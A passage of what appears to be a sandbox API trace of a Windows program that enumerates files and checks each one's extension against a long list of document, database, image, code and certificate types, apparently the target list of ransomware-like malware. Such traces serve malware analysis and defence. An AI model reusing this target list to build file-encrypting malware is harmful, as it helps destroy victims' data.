ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.668] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.668] lstrlenW (lpString="eula.rtf") returned 8 [0100.668] lstrlenW (lpString=".1cd") returned 4 [0100.668] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.668] lstrlenW (lpString=".3ds") returned 4 [0100.668] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0100.668] lstrlenW (lpString=".3fr") returned 4 [0100.668] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0100.668] lstrlenW (lpString=".3g2") returned 4 [0100.668] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0100.668] lstrlenW (lpString=".3gp") returned 4 [0100.668] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0100.668] lstrlenW (lpString=".7z") returned 3 [0100.668] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.668] lstrlenW (lpString=".accda") returned 6 [0100.668] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0100.668] lstrlenW (lpString=".accdb") returned 6 [0100.668] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0100.668] lstrlenW (lpString=".accdc") returned 6 [0100.669] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0100.669] lstrlenW (lpString=".accde") returned 6 [0100.669] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0100.669] lstrlenW (lpString=".accdt") returned 6 [0100.669] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0100.669] lstrlenW (lpString=".accdw") returned 6 [0100.669] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0100.669] lstrlenW (lpString=".adb") returned 4 [0100.669] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0100.669] lstrlenW (lpString=".adp") returned 4 [0100.669] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0100.669] lstrlenW (lpString=".ai") returned 3 [0100.669] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0100.669] lstrlenW (lpString=".ai3") returned 4 [0100.669] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0100.669] lstrlenW (lpString=".ai4") returned 4 [0100.669] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0100.669] lstrlenW (lpString=".ai5") returned 4 [0100.669] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0100.669] lstrlenW (lpString=".ai6") returned 4 [0100.669] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0100.669] lstrlenW (lpString=".ai7") returned 4 [0100.669] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0100.669] lstrlenW (lpString=".ai8") returned 4 [0100.669] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0100.669] lstrlenW (lpString=".anim") returned 5 [0100.669] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0100.670] lstrlenW (lpString=".arw") returned 4 [0100.670] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0100.670] lstrlenW (lpString=".as") returned 3 [0100.670] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0100.670] lstrlenW (lpString=".asa") returned 4 [0100.670] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0100.670] lstrlenW (lpString=".asc") returned 4 [0100.670] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0100.670] lstrlenW (lpString=".ascx") returned 5 [0100.670] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0100.670] lstrlenW (lpString=".asm") returned 4 [0100.670] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0100.670] lstrlenW (lpString=".asmx") returned 5 [0100.670] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0100.670] lstrlenW (lpString=".asp") returned 4 [0100.670] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0100.670] lstrlenW (lpString=".aspx") returned 5 [0100.670] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0100.670] lstrlenW (lpString=".asr") returned 4 [0100.670] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0100.670] lstrlenW (lpString=".asx") returned 4 [0100.670] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0100.670] lstrlenW (lpString=".avi") returned 4 [0100.670] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0100.670] lstrlenW (lpString=".avs") returned 4 [0100.670] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0100.670] lstrlenW (lpString=".backup") returned 7 [0100.670] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0100.671] lstrlenW (lpString=".bak") returned 4 [0100.671] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0100.671] lstrlenW (lpString=".bay") returned 4 [0100.671] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0100.671] lstrlenW (lpString=".bd") returned 3 [0100.671] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0100.671] lstrlenW (lpString=".bin") returned 4 [0100.671] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0100.671] lstrlenW (lpString=".bmp") returned 4 [0100.671] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0100.671] lstrlenW (lpString=".bz2") returned 4 [0100.671] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.671] lstrlenW (lpString=".c") returned 2 [0100.671] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0100.671] lstrlenW (lpString=".cdr") returned 4 [0100.671] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0100.671] lstrlenW (lpString=".cer") returned 4 [0100.671] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0100.671] lstrlenW (lpString=".cf") returned 3 [0100.671] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0100.671] lstrlenW (lpString=".cfc") returned 4 [0100.671] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0100.671] lstrlenW (lpString=".cfm") returned 4 [0100.671] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0100.671] lstrlenW (lpString=".cfml") returned 5 [0100.671] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0100.671] lstrlenW (lpString=".cfu") returned 4 [0100.672] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0100.672] lstrlenW (lpString=".chm") returned 4 [0100.672] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0100.672] lstrlenW (lpString=".cin") returned 4 [0100.672] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0100.672] lstrlenW (lpString=".class") returned 6 [0100.672] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0100.672] lstrlenW (lpString=".clx") returned 4 [0100.672] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0100.672] lstrlenW (lpString=".config") returned 7 [0100.672] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0100.672] lstrlenW (lpString=".cpp") returned 4 [0100.672] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0100.672] lstrlenW (lpString=".cr2") returned 4 [0100.672] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0100.672] lstrlenW (lpString=".crt") returned 4 [0100.672] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0100.672] lstrlenW (lpString=".crw") returned 4 [0100.672] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0100.672] lstrlenW (lpString=".cs") returned 3 [0100.672] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0100.672] lstrlenW (lpString=".css") returned 4 [0100.672] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0100.672] lstrlenW (lpString=".csv") returned 4 [0100.672] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0100.672] lstrlenW (lpString=".cub") returned 4 [0100.672] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0100.672] lstrlenW (lpString=".dae") returned 4 [0100.673] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0100.673] lstrlenW (lpString=".dat") returned 4 [0100.673] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0100.673] lstrlenW (lpString=".db") returned 3 [0100.673] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0100.673] lstrlenW (lpString=".dbf") returned 4 [0100.673] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.673] lstrlenW (lpString=".dbx") returned 4 [0100.673] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0100.673] lstrlenW (lpString=".dc3") returned 4 [0100.673] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0100.673] lstrlenW (lpString=".dcm") returned 4 [0100.673] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0100.673] lstrlenW (lpString=".dcr") returned 4 [0100.673] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0100.673] lstrlenW (lpString=".der") returned 4 [0100.673] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0100.673] lstrlenW (lpString=".dib") returned 4 [0100.673] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0100.673] lstrlenW (lpString=".dic") returned 4 [0100.673] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0100.673] lstrlenW (lpString=".dif") returned 4 [0100.673] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0100.673] lstrlenW (lpString=".divx") returned 5 [0100.673] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0100.673] lstrlenW (lpString=".djvu") returned 5 [0100.673] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0100.673] lstrlenW (lpString=".dng") returned 4 [0100.674] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0100.674] lstrlenW (lpString=".doc") returned 4 [0100.674] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.674] lstrlenW (lpString=".docm") returned 5 [0100.674] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0100.674] lstrlenW (lpString=".docx") returned 5 [0100.674] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.674] lstrlenW (lpString=".dot") returned 4 [0100.674] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0100.674] lstrlenW (lpString=".dotm") returned 5 [0100.674] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0100.674] lstrlenW (lpString=".dotx") returned 5 [0100.674] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0100.674] lstrlenW (lpString=".dpx") returned 4 [0100.674] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0100.674] lstrlenW (lpString=".dqy") returned 4 [0100.674] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0100.674] lstrlenW (lpString=".dsn") returned 4 [0100.674] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0100.674] lstrlenW (lpString=".dt") returned 3 [0100.674] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0100.674] lstrlenW (lpString=".dtd") returned 4 [0100.674] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0100.674] lstrlenW (lpString=".dwg") returned 4 [0100.674] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0100.674] lstrlenW (lpString=".dwt") returned 4 [0100.674] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0100.674] lstrlenW (lpString=".dx") returned 3 [0100.675] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0100.675] lstrlenW (lpString=".dxf") returned 4 [0100.675] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0100.675] lstrlenW (lpString=".edml") returned 5 [0100.675] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0100.675] lstrlenW (lpString=".efd") returned 4 [0100.675] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0100.675] lstrlenW (lpString=".elf") returned 4 [0100.675] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0100.675] lstrlenW (lpString=".emf") returned 4 [0100.675] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0100.675] lstrlenW (lpString=".emz") returned 4 [0100.675] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0100.675] lstrlenW (lpString=".epf") returned 4 [0100.675] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0100.675] lstrlenW (lpString=".eps") returned 4 [0100.675] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0100.675] lstrlenW (lpString=".epsf") returned 5 [0100.675] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0100.675] lstrlenW (lpString=".epsp") returned 5 [0100.675] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0100.675] lstrlenW (lpString=".erf") returned 4 [0100.675] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0100.675] lstrlenW (lpString=".exr") returned 4 [0100.675] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0100.675] lstrlenW (lpString=".f4v") returned 4 [0100.675] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0100.675] lstrlenW (lpString=".fido") returned 5 [0100.676] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0100.676] lstrlenW (lpString=".flm") returned 4 [0100.676] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0100.676] lstrlenW (lpString=".flv") returned 4 [0100.676] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0100.676] lstrlenW (lpString=".frm") returned 4 [0100.676] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0100.676] lstrlenW (lpString=".fxg") returned 4 [0100.676] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0100.676] lstrlenW (lpString=".geo") returned 4 [0100.676] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0100.676] lstrlenW (lpString=".gif") returned 4 [0100.676] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0100.676] lstrlenW (lpString=".grs") returned 4 [0100.676] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0100.676] lstrlenW (lpString=".gz") returned 3 [0100.676] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0100.676] lstrlenW (lpString=".h") returned 2 [0100.676] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0100.676] lstrlenW (lpString=".hdr") returned 4 [0100.676] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0100.676] lstrlenW (lpString=".hpp") returned 4 [0100.676] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0100.676] lstrlenW (lpString=".hta") returned 4 [0100.676] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0100.676] lstrlenW (lpString=".htc") returned 4 [0100.676] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0100.676] lstrlenW (lpString=".htm") returned 4 [0100.677] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0100.677] lstrlenW (lpString=".html") returned 5 [0100.677] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0100.677] lstrlenW (lpString=".icb") returned 4 [0100.677] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0100.677] lstrlenW (lpString=".ics") returned 4 [0100.677] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0100.677] lstrlenW (lpString=".iff") returned 4 [0100.677] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0100.677] lstrlenW (lpString=".inc") returned 4 [0100.677] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0100.677] lstrlenW (lpString=".indd") returned 5 [0100.677] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0100.677] lstrlenW (lpString=".ini") returned 4 [0100.677] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0100.677] lstrlenW (lpString=".iqy") returned 4 [0100.677] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0100.677] lstrlenW (lpString=".j2c") returned 4 [0100.677] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0100.677] lstrlenW (lpString=".j2k") returned 4 [0100.677] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0100.677] lstrlenW (lpString=".java") returned 5 [0100.677] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0100.677] lstrlenW (lpString=".jp2") returned 4 [0100.677] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0100.677] lstrlenW (lpString=".jpc") returned 4 [0100.677] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0100.677] lstrlenW (lpString=".jpe") returned 4 [0100.678] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0100.678] lstrlenW (lpString=".jpeg") returned 5 [0100.678] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0100.678] lstrlenW (lpString=".jpf") returned 4 [0100.678] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0100.678] lstrlenW (lpString=".jpg") returned 4 [0100.678] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.678] lstrlenW (lpString=".jpx") returned 4 [0100.678] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0100.678] lstrlenW (lpString=".js") returned 3 [0100.678] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0100.678] lstrlenW (lpString=".jsf") returned 4 [0100.678] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0100.678] lstrlenW (lpString=".json") returned 5 [0100.678] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0100.678] lstrlenW (lpString=".jsp") returned 4 [0100.678] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0100.678] lstrlenW (lpString=".kdc") returned 4 [0100.678] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0100.678] lstrlenW (lpString=".kmz") returned 4 [0100.678] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0100.678] lstrlenW (lpString=".kwm") returned 4 [0100.678] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0100.678] lstrlenW (lpString=".lasso") returned 6 [0100.678] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0100.678] lstrlenW (lpString=".lbi") returned 4 [0100.678] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0100.678] lstrlenW (lpString=".lgf") returned 4 [0100.679] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".lgp") returned 4 [0100.679] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".log") returned 4 [0100.679] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".m1v") returned 4 [0100.679] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".m4a") returned 4 [0100.679] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".m4v") returned 4 [0100.679] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".max") returned 4 [0100.679] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".md") returned 3 [0100.679] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0100.679] lstrlenW (lpString=".mda") returned 4 [0100.679] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".mdb") returned 4 [0100.679] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".mde") returned 4 [0100.679] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".mdf") returned 4 [0100.679] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".mdw") returned 4 [0100.679] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".mef") returned 4 [0100.679] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0100.679] lstrlenW (lpString=".mft") returned 4 [0100.680] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0100.680] lstrlenW (lpString=".mfw") returned 4 [0100.680] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0100.680] lstrlenW (lpString=".mht") returned 4 [0100.680] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0100.680] lstrlenW (lpString=".mhtml") returned 6 [0100.680] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0100.680] lstrlenW (lpString=".mka") returned 4 [0100.680] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0100.680] lstrlenW (lpString=".mkidx") returned 6 [0100.680] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0100.680] lstrlenW (lpString=".mkv") returned 4 [0100.680] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0100.680] lstrlenW (lpString=".mos") returned 4 [0100.680] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0100.680] lstrlenW (lpString=".mov") returned 4 [0100.680] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0100.680] lstrlenW (lpString=".mp3") returned 4 [0100.680] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0100.680] lstrlenW (lpString=".mp4") returned 4 [0100.680] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0100.680] lstrlenW (lpString=".mpeg") returned 5 [0100.680] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0100.680] lstrlenW (lpString=".mpg") returned 4 [0100.680] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0100.680] lstrlenW (lpString=".mpv") returned 4 [0100.680] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0100.680] lstrlenW (lpString=".mrw") returned 4 [0100.681] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0100.681] lstrlenW (lpString=".msg") returned 4 [0100.681] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0100.681] lstrlenW (lpString=".mxl") returned 4 [0100.681] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0100.681] lstrlenW (lpString=".myd") returned 4 [0100.681] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0100.681] lstrlenW (lpString=".myi") returned 4 [0100.681] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0100.681] lstrlenW (lpString=".nef") returned 4 [0100.681] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0100.681] lstrlenW (lpString=".nrw") returned 4 [0100.681] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0100.681] lstrlenW (lpString=".obj") returned 4 [0100.681] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0100.681] lstrlenW (lpString=".odb") returned 4 [0100.681] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0100.681] lstrlenW (lpString=".odc") returned 4 [0100.681] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0100.681] lstrlenW (lpString=".odm") returned 4 [0100.681] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0100.681] lstrlenW (lpString=".odp") returned 4 [0100.681] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0100.682] lstrlenW (lpString=".ods") returned 4 [0100.682] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0100.682] lstrlenW (lpString=".oft") returned 4 [0100.682] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0100.682] lstrlenW (lpString=".one") returned 4 [0100.682] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0100.682] lstrlenW (lpString=".onepkg") returned 7 [0100.682] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0100.682] lstrlenW (lpString=".onetoc2") returned 8 [0100.682] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0100.682] lstrlenW (lpString=".opt") returned 4 [0100.682] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0100.682] lstrlenW (lpString=".oqy") returned 4 [0100.682] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0100.682] lstrlenW (lpString=".orf") returned 4 [0100.682] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0100.682] lstrlenW (lpString=".p12") returned 4 [0100.682] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0100.682] lstrlenW (lpString=".p7b") returned 4 [0100.682] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".p7c") returned 4 [0100.683] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pam") returned 4 [0100.683] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pbm") returned 4 [0100.683] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pct") returned 4 [0100.683] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pcx") returned 4 [0100.683] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pdd") returned 4 [0100.683] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pdf") returned 4 [0100.683] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pdp") returned 4 [0100.683] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pef") returned 4 [0100.683] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pem") returned 4 [0100.683] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pff") returned 4 [0100.683] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pfm") returned 4 [0100.683] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pfx") returned 4 [0100.683] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0100.683] lstrlenW (lpString=".pgm") returned 4 [0100.684] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0100.684] lstrlenW (lpString=".php") returned 4 [0100.684] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0100.684] lstrlenW (lpString=".php3") returned 5 [0100.684] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0100.684] lstrlenW (lpString=".php4") returned 5 [0100.684] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0100.684] lstrlenW (lpString=".php5") returned 5 [0100.684] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0100.684] lstrlenW (lpString=".phtml") returned 6 [0100.684] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0100.684] lstrlenW (lpString=".pict") returned 5 [0100.684] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0100.684] lstrlenW (lpString=".pl") returned 3 [0100.684] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0100.684] lstrlenW (lpString=".pls") returned 4 [0100.684] lstrcmpiW (lpString1=".pls", 